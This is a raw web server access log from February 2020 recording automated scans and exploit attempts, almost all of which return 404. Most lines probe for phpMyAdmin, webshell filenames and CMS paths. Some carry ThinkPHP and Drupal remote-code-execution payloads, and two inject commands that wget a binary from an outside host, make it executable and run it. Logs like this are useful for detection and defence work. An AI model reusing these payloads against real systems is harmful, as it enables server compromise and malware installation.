106.54.214.206 - - [01/Feb/2020:03:16:45 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:45 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:46 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:48 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:49 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:49 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:49 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:52 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:53 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:53 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:53 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:53 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:54 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:56 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:57 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:57 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:58 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:00 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:01 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:01 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:01 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:02 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:04 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:05 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:05 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:05 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:08 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:09 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:09 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:10 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:12 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:13 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:13 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:13 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:13 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:16 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:17 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:17 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:18 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:19 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:20 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:21 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:21 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:21 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:22 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:24 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:25 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:26 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:28 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:29 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:29 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:29 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:29 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:32 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:33 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:33 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:34 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:36 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:37 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:38 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:45 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:57 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:17:58 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:00 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:01 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:01 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:01 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:04 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:05 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:05 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:06 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:08 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:09 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:12 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:13 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:13 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:13 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:16 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:17 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:17 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:17 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:17 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:20 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:18:21 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:18:45 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:19:09 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:19:33 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:20:01 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:20:25 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
186.130.99.97 - - [01/Feb/2020:03:20:28 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
106.54.214.206 - - [01/Feb/2020:03:20:49 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:21:13 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:21:37 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
164.52.24.163 - - [01/Feb/2020:03:21:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.214.206 - - [01/Feb/2020:03:22:01 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:22:01 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:22:02 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:22:03 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:22:04 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:22:29 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
95.59.50.49 - - [01/Feb/2020:03:22:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.214.206 - - [01/Feb/2020:03:22:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
42.116.211.124 - - [01/Feb/2020:03:22:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.214.206 - - [01/Feb/2020:03:23:18 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.54.214.206 - - [01/Feb/2020:03:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.54.214.206 - - [01/Feb/2020:03:24:14 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
